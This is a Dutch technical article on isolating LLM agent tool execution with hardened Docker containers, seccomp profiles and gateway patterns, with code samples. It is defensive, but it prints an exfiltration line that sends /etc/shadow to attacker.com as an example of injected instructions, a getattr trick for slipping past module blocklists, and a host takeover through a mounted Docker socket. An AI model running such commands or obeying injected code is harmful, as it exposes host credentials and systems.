Naar de inhoud
NLEN
Illustratie: Sandboxing van LLM-tools: Docker isolatie in de praktijk

Sandboxing van LLM-tools: Docker isolatie in de praktijk

Door Ivo Donker — samengesteld met AI-ondersteuning (Claude & Gemini)

Wanneer een autonoom taalmodel gereedschappen aanroept om Python-scripts uit te voeren, shell-commando's te testen of bestanden te verwerken, verschuift het aanvalsvlak direct van semantische prompt-injectie naar fysieke systeeminbraak. Een taalmodel dat ongevalideerde code genereert en uitvoert op de host-machine vormt een direct gevaar voor de integriteit van de onderliggende serverinfrastructuur. Zonder strikte runtime-isolatie kan een indirecte prompt-injectie via een externe webpagina, PDF-bestand of e-mail resulteren in het uitlezen van omgevingsvariabelen, ongewenste netwerkscans over interne subnetten of onomkeerbare datacorruptie. In dit artikel behandelen we hoe Docker structureel kan worden ingericht als een geharde sandbox-laag tussen de agent-orchestrator en de willekeurige code-uitvoer van LLM-tools.

De gevarendriehoek: Indirecte prompt-injectie, tool-calling en privilege-escalatie

De kwetsbaarheid bij autonome agents ontstaat zodra drie factoren samenkomen: onbetrouwbare invoerdata van buitenaf, een model dat autonoom beslist welke tools worden aangeroepen, en een uitvoeringsomgeving met toegang tot systeembronnen. Modellen zijn getraind om complexe taken op te lossen door hulpscripts te genereren en iteratief uit te voeren. Als een model tijdens het samenvatten van een document stuit op verborgen instructies zoals import os; os.system('curl attacker.com/$(cat /etc/shadow | base64)'), kan het model worden verleid om deze code daadwerkelijk als legitieme tool-aanroep uit te voeren.

In het signalenoverzicht over lessen uit recente agent-security incidenten werd al duidelijk dat traditionele applicatiefilters op invoertekst structureel falen zodra aanvallers multi-step prompt-obfuscatie toepassen. Wie wil begrijpen welke specifieke aanvalsvectoren in de praktijk tot dataverlies hebben geleid, vindt daar een analyse van concrete casussen uit productie-omgevingen. Vertrouwen op regex-filters of zwarte lijsten van Python-modules (zoals het verbieden van import subprocess of import socket) is fundamenteel onveilig: via dynamische methoden zoals getattr(__builtins__, '__import__')('s' + 'ubprocess') kan een model deze taalrestricties eenvoudig omzeilen. De enige houdbare verdedigingslinie is de aanname dat de code die het model genereert te allen tijde vijandig is. Dat betekent dat de executie-omgeving zelf infrastructureel begrensd moet zijn in privileges, bestandssysteembereik, netwerktoegang en rekencapaciteit.

Container-isolatie vs. modelinferentie: De architecturale scheiding

Binnen moderne AI-systemen moeten we een strikt onderscheid maken tussen de container waarin het taalmodel zelf draait (de inferentie-engine) en de container waarin de agent-tools worden uitgevoerd (de executie-sandbox). De inferentie-engine vereist directe toegang tot krachtige hardware zoals GPU's via de NVIDIA Container Toolkit, heeft omvangrijke RAM- en VRAM-toewijzingen nodig en onderhoudt persistente modelgewichten op snelle NVMe-opslag.

Voor een bredere blik op het veilig draaien van modellen en containers zelf biedt de gids voor LLM's in Docker-containers een compleet fundament over images en resource-allocatie. Lees dat artikel als je wil weten hoe je zware inferentie-servers configureert zonder GPU-geheugenlekken. Bij sandboxing voor tools ligt het zwaartepunt echter radicaal anders. Een tool-sandbox heeft geen GPU nodig, mag geen persistente opslag bezitten, moet snel kunnen opstarten en vernietigd worden, en moet categorisch afgesloten zijn van elk netwerk. Wie deze twee verantwoordelijkheden in één container of op één gedeelde runtime combineert, creëert een ernstig beveiligingslek waarbij gegenereerde scripts de eigen modelgewichten of API-tokens kunnen overschrijven.

De anatomie van een geharde Docker runtime-configuratie

Docker biedt standaard isolatie via Linux namespaces (PID, mount, net, IPC, UTS, user) en control groups (cgroups), maar een standaard docker run commando is niet ontworpen om vijandige code te weerstaan. Als een container als root draait met standaard capabilities, kan een aanvaller kwetsbaarheden in het bestandssysteem of de Linux-kernel exploiteren om uit de container te ontsnappen. Om een Docker-container om te vormen tot een veilige evaluatie-omgeving, moeten meerdere beveiligingslagen gelijktijdig worden afgedwongen.

Beveiligingsparameter Docker CLI-vlag Doel en mitigatie
Netwerk afsluiten --network none Blokkeert alle TCP/UDP-sockets. Voorkomt data-exfiltratie en scans naar lokale netwerken.
Onveranderlijk OS --read-only Zet het root-bestandssysteem vast in read-only modus. Voorkomt malware-installatie.
In-memory tmpfs --tmpfs /tmp:rw,nosuid,nodev,noexec,size=64m Biedt beperkte schrijfruimte in RAM zonder uitvoerrechten voor binaries.
Non-root gebruiker --user 1000:1000 Voorkomt dat processen met UID 0 draaien, wat kernel-escalaties bemoeilijkt.
Privilege-inperking --security-opt no-new-privileges:true Blokkeert setuid/setgid binaries zodat processen nooit extra rechten kunnen verwerven.
Capabilities verwijderen --cap-drop=ALL Verwijdert alle standaard Linux capabilities (zoals CAP_CHOWN, CAP_NET_RAW, CAP_SYS_ADMIN).
Resource-begrenzing --memory=512m --cpus=1.0 --pids-limit=64 Voorkomt denial-of-service aanvallen door fork-bombs, oneindige lussen en geheugenhonger.

Concrete implementatie: Een ephemeral Python-sandbox bouwen

Laten we een complete implementatie doornemen. We beginnen met het ontwerpen van een minimaal Docker-image waarin uitsluitend de noodzakelijke runtime en rekenbibliotheken aanwezig zijn. We vermijden het installeren van compilers (zoals gcc), shell-hulpprogramma's (zoals curl, wget, netcat) of package managers in de uiteindelijke containerlaag.

De onderstaande Dockerfile bouwt een minimale, veilige basis voor Python-data-analyse:

FROM python:3.11-slim-bookworm

# Maak een strikt niet-geprivilegieerde gebruiker aan zonder login-shell
RUN groupadd -g 1000 sandboxgroup && \
    useradd -u 1000 -g sandboxgroup -s /sbin/nologin -d /home/sandboxuser -m sandboxuser

# Installeer alleen geverifieerde analysepakketten
RUN pip install --no-cache-dir numpy==1.26.4 pandas==2.2.2 scipy==1.13.1

# Verwijder pip en setuptools om runtime-pakketinstallaties te blokkeren
RUN pip uninstall -y pip setuptools

WORKDIR /home/sandboxuser
USER 1000:1000

Vervolgens bouwt de agent-orchestrator een wrapper die de gegenereerde code via stdin doorgeeft aan een wegwerp-container. Hierdoor hoeven er geen tijdelijke bestanden op de host-schijf te worden aangemaakt:

import subprocess
import json
import time

def execute_sandboxed_code(code_snippet: str, timeout_sec: float = 5.0) -> dict:
    start_time = time.perf_counter()
    
    cmd = [
        "docker", "run",
        "--rm",
        "-i",
        "--network", "none",
        "--read-only",
        "--tmpfs", "/tmp:rw,nosuid,nodev,size=64m",
        "--tmpfs", "/home/sandboxuser:rw,nosuid,nodev,size=32m",
        "--user", "1000:1000",
        "--security-opt", "no-new-privileges:true",
        "--cap-drop=ALL",
        "--memory", "512m",
        "--memory-swap", "512m",
        "--cpus", "1.0",
        "--pids-limit", "64",
        "llm-sandbox-python:latest",
        "python", "-u", "-"
    ]

    try:
        process = subprocess.run(
            cmd,
            input=code_snippet,
            capture_output=True,
            text=True,
            timeout=timeout_sec,
            check=False
        )
        duration = round(time.perf_counter() - start_time, 3)
        return {
            "stdout": process.stdout[:10000],
            "stderr": process.stderr[:5000],
            "exit_code": process.returncode,
            "timed_out": False,
            "execution_time_sec": duration
        }
    except subprocess.TimeoutExpired:
        return {
            "stdout": "",
            "stderr": f"Executielimiet van {timeout_sec} seconden overschreden.",
            "exit_code": -1,
            "timed_out": True,
            "execution_time_sec": timeout_sec
        }

In dit script vallen drie cruciale details op. Ten eerste zorgt --memory-swap 512m ervoor dat het totale virtuele geheugen begrensd is tot de RAM-limiet, waardoor de container niet stiekem honderden megabytes aan swap op de host-schijf kan alloceren. Ten tweede beperkt --pids-limit 64 het aantal gelijktijdige processen en threads, wat fork-bombs (zoals while True: os.fork()) direct onschadelijk maakt. Ten derde wordt de uitvoer in Python afgekapt (bijvoorbeeld op 10.000 tekens) om Denial-of-Context aanvallen te voorkomen waarbij een script gigabytes aan data naar stdout schrijft om het geheugen van de orchestrator te overspoelen.

Systeemaanroepen vergrendelen met Seccomp en Linux Capabilities

Zelfs met non-root gebruikers en cgroups blijft het aanvalsvlak van de Linux-kernel aanzienlijk. Standaard ondersteunt de Linux-kernel honderden systeemaanroepen (syscalls). Veel geavanceerde container-escapes maken gebruik van verouderde of zelden gebruikte syscalls om geheugencorruptie in kernelmodules uit te lokken.

Door --cap-drop=ALL te specificeren, ontneemt Docker het proces alle speciale privileges. Een script kan daardoor geen netwerkinterfaces wijzigen, geen ruwe netwerkpakketten inspecteren, geen bestandsattributen forceren via chown en geen kernelmodules laden. Om de sandbox nog verder te harden, configureren we een op maat gemaakt Seccomp-profiel (Secure Computing Mode). Een strikt Seccomp-profiel blokkeert gevaarlijke syscalls zoals ptrace (procesinspectie), process_vm_writev, bpf (Berkeley Packet Filter manipulatie), io_uring_setup en sys_chroot.

Hieronder staat een fragment van een Seccomp-configuratie die standaard alle syscalls weigert (SCMP_ACT_ERRNO) en uitsluitend een expliciete whitelist van veilige reken- en I/O-calls toestaat:

{
  "defaultAction": "SCMP_ACT_ERRNO",
  "architectures": [
    "SCMP_ARCH_X86_64",
    "SCMP_ARCH_AARCH64"
  ],
  "syscalls": [
    {
      "names": [
        "read", "write", "openat", "close", "fstat", "lseek",
        "mmap", "mprotect", "munmap", "brk", "rt_sigaction",
        "rt_sigprocmask", "futex", "exit_group", "gettimeofday",
        "clock_gettime", "nanosleep", "getrandom"
      ],
      "action": "SCMP_ACT_ALLOW"
    }
  ]
}

Wanneer we de container starten met --security-opt seccomp=/etc/docker/sandbox-seccomp.json, wordt elke poging van een Python-script om netwerksockets te openen of processtructuren van buiten de sandbox te scannen op kernelniveau afgewezen met een Operation not permitted foutmelding.

Netwerk- en data-isolatie: Het Unprivileged Gateway patroon

In veel praktijksituaties moet een agent zowel data kunnen berekenen als externe bronnen kunnen raadplegen, zoals documenten ophalen via een REST-API of een SQL-database bevragen. Een veelgemaakte ontwerpfout is om de container die code uitvoert te verbinden met een intern netwerk zodat het script zelf HTTP-aanroepen kan doen. Dit breekt de isolatie: een kwaadaardige payload kan dan via de container het interne netwerk scannen of metadata-endpoints (zoals interne adresreeksen bij cloudproviders) bevragen.

In het radar-dossier over runtime security voor agent-systemen wordt het concept van geprivilegieerde gateways tegenover ongeprivilegieerde evaluators uitgewerkt. Raadpleeg die publicatie voor een verdieping in procesbewaking en audit-logging op applicatieniveau. De veilige architectuur bestaat uit een tweestaps-patroon:

Component Netwerktoegang Rechten Verantwoordelijkheid
Agent Gateway (Host) Uitgaand HTTPS Standaard service-rechten Valideert API-tokens, haalt externe data op, past sanitization toe.
Code Sandbox (Docker) Strikt Geen (--network none) Non-root, read-only, cap-drop Ontvangt uitsluitend geschoonde JSON/tekst via stdin en voert berekeningen uit.

Door data-acquisitie en code-executie strikt te scheiden, kan een model berekeningen uitvoeren op gevoelige invoergegevens zonder dat de code ooit de fysieke mogelijkheid heeft om die data naar een extern IP-adres te lekken.

Uitvoeringsmodellen en latency: Koude starts versus warme containerpools

De grootste praktische afweging bij Docker-sandboxing is het spanningsveld tussen opstarttijd en isolatieniveau. Bij een interactieve agent die een taak in meerdere opeenvolgende stappen oplost, telt de latency van elke tool-aanroep direct mee in de totale reactietijd voor de eindgebruiker. We onderscheiden drie gangbare architectuurpatronen, elk met een eigen balans tussen beveiliging en rekensnelheid:

Architectuurpatroon Relatieve latency (orde van grootte) Isolatieniveau Geheugengebruik in rust Typische toepassing
Ephemeral Container (on-demand start) Honderden milliseconden (koude start) Maximaal (schone container per executie) Nul (geen resources bezet buiten runtime) Asynchrone batch-taken, cron-agents en zware scripts
Pre-warmed Container Pool Tientallen milliseconden (snelle switch) Maximaal (direct vernietigd na elke taak) Beperkt (kleine pool actieve workers in stand-by) Interactieve chatbots en realtime agent-lussen
Hergebruikte Sessie-container Enkele milliseconden (directe exec) Matig (risico op state-vervuiling tussen calls) Gereserveerd per actieve gebruikerssessie Gedefinieerde debug-omgevingen met strikte time-out

Bij een ephemeral aanpak start voor elke tool-call een volledig nieuwe container via docker run --rm. Dit biedt de hoogste mate van isolatie omdat eventuele geheugenresten of tijdelijke bestanden gegarandeerd worden gewist na afloop. Het nadeel is de opstart-overhead van de container-engine, die merkbaar kan zijn bij intensieve multi-step loops.

Wie lagere responstijden nodig heeft zonder concessies te doen aan isolatie, kan kiezen voor een pre-warmed pool. Een achtergrondproces houdt continu een klein aantal containers klaar in een slapende status met alle isolatievlaggen geactiveerd. Zodra de orchestrator een taak aanbiedt, wordt de code via docker exec -i naar een gereedstaande container gestuurd. Na afloop voert de orchestrator direct een geforceerde beëindiging uit en start op de achtergrond asynchroon een nieuwe vervanger. Dit reduceert de ervaren wachttijd aanzienlijk, terwijl elke code-uitvoering toch in een schone, geïsoleerde container plaatsvindt.

Beveiliging van de Docker Daemon en Socket-blootstelling

Een cruciaal beveiligingsaspect dat vaak over het hoofd wordt gezien bij het ontwerpen van sandboxes, is de bescherming van de Docker socket (/var/run/docker.sock). Als een orchestrator zelf binnen een container draait (bijvoorbeeld in een container-omgeving of CI/CD-pipeline), ontstaat de verleiding om de host-socket te mounten (-v /var/run/docker.sock:/var/run/docker.sock) zodat de orchestrator sibling-containers kan aanmaken.

Het mounten van de Docker-socket staat gelijk aan het overhandigen van volledige root-toegang tot de host-machine. Als de orchestrator door prompt-injectie wordt gecompromitteerd, kan de aanvaller via de Docker API een geprivilegieerde container starten met -v /:/host en het complete bestandssysteem van de host uitlezen of manipuleren.

Om dit te voorkomen, moeten ontwikkelaars twee strikte ontwerpregels hanteren:

1. Draai de Docker Daemon in Rootless Mode: Door de Docker daemon te draaien onder een niet-geprivilegieerd gebruikersaccount (Rootless Docker via user namespaces), heeft zelfs een eventuele container-escape geen root-rechten op het hostsysteem.

2. Gebruik een TCP Daemon Proxy met Endpoint Whitelisting: Als de orchestrator containers moet aansturen, plaats dan een lichtgewicht reverse proxy voor de Docker socket. Deze proxy staat uitsluitend veilige API-endpoints toe (zoals het aanmaken, starten en opvragen van containerstatussen), en blokkeert gevaarlijke operaties zoals volume-mounts naar de host, host-networking of geprivilegieerde flags.

Integratie met het Model Context Protocol (MCP)

Met de snelle adoptie van gestandaardiseerde interfaces voor tools, zoals vastgelegd in het overzicht van agents en Model Context Protocol innovaties, wordt Docker-sandboxing steeds vaker verpakt als een zelfstandige MCP-server. Bezoek dat overzicht om te zien hoe tool-registratie en dynamische discovery zich ontwikkelen binnen moderne client-architecturen.

Binnen een MCP-architectuur registreert de sandbox-server zich met een JSON-RPC schema dat tools zoals execute_python, run_sqlite_query of render_graphviz beschikbaar stelt aan het model. De client hoeft geen kennis te hebben van Docker-commando's of cgroups; de MCP-server fungeert als handhaver van het beveiligingscontract. Zodra een ongeldige actie (zoals het overschrijden van geheugenlimieten of een time-out) optreedt, vertaalt de MCP-server dit naar een gestructureerde foutmelding die het model helpt zichzelf te corrigeren zonder dat de host-stabiliteit in gevaar komt.

De harde grenzen van Docker: Wanneer overstappen op microVM's?

Hoewel een geharde Docker-omgeving met Seccomp, --read-only, --cap-drop=ALL en netwerkisolatie bescherming biedt tegen vrijwel alle reguliere script-aanvallen, blijft er één fundamentele architecturale eigenschap: containers delen dezelfde onderliggende Linux-kernel met de host.

Als een aanvaller beschikt over een zero-day kwetsbaarheid in het kernelgeheugen (bijvoorbeeld in cgroups, geheugenbeheer of privilege-controles), kan code-executie binnen de container in theorie leiden tot een kernel-crash of privilege escalation op de host. In omgevingen waar multi-tenant code van onbekende externe gebruikers wordt verwerkt, is container-isolatie alleen niet altijd voldoende.

Eigenschap Geharde Docker Container gVisor (User-space Kernel) MicroVM (bijv. Firecracker)
Kernel-isolatie Gedeelde host-kernel Virtuele kernel in user-space (Sentry) Volledig geïsoleerde gast-kernel via KVM
Relatieve opstartlatency Snel (korte container lifecycle) Snel (vergelijkbaar met containers) Zeer snel (lichtgewicht VM opstart)
Geheugenoverhead per instantie Laag (enkele megabytes) Matig (user-space kernel allocatie) Laag tot matig (afhankelijk van gast-OS)
Syscall-compatibiliteit 100% native Linux Groot deel van gangbare calls ondersteund 100% native Linux
Beheercomplexiteit Laag (standaard container-infrastructuur) Gemiddeld (runsc runtime toevoegen) Hoog (vereist hypervisor-ondersteuning en KVM-rechten)

Voor lokale workflows, homelab-omgevingen, interne kantoorautomatisering en MKB-oplossingen biedt een strikt geconfigureerde Docker-sandbox de optimale balans tussen lage implementatiekosten en uitstekende beveiliging. Pas wanneer code van niet-vertrouwde derden in een publieke multi-tenant SaaS-architectuur wordt gedraaid, wordt de overstap naar microVM-technologieën noodzakelijk.

Checklist voor productie

Voordat een agent-systeem met code-executie in productie wordt genomen, moeten de volgende technische controles succesvol zijn doorstaan:

1. Netwerktest: Controleer of netwerkaanroepen (zoals DNS-resolutie of socket-verbindingen) direct falen met een foutmelding binnen de container.

2. Schrijftest: Controleer of schrijfpogingen naar systeemmappen zoals /etc of /usr een Read-only file system fout opleveren.

3. Resource-uitputting: Valideer dat oneindige geheugenallocaties netjes worden afgebroken door de Linux OOM-killer zonder dat de host-orchestrator instabiel raakt.

4. Cap-audit: Controleer met capsh --print binnen de container dat de effectieve en toegestane capability-sets leeg zijn.

Door deze maatregelen structureel in te bedden in de containerconfiguratie, transformeren we LLM-tooling van een potentieel beveiligingsrisico naar een gecontroleerde, productiewaardige automatiseringslaag.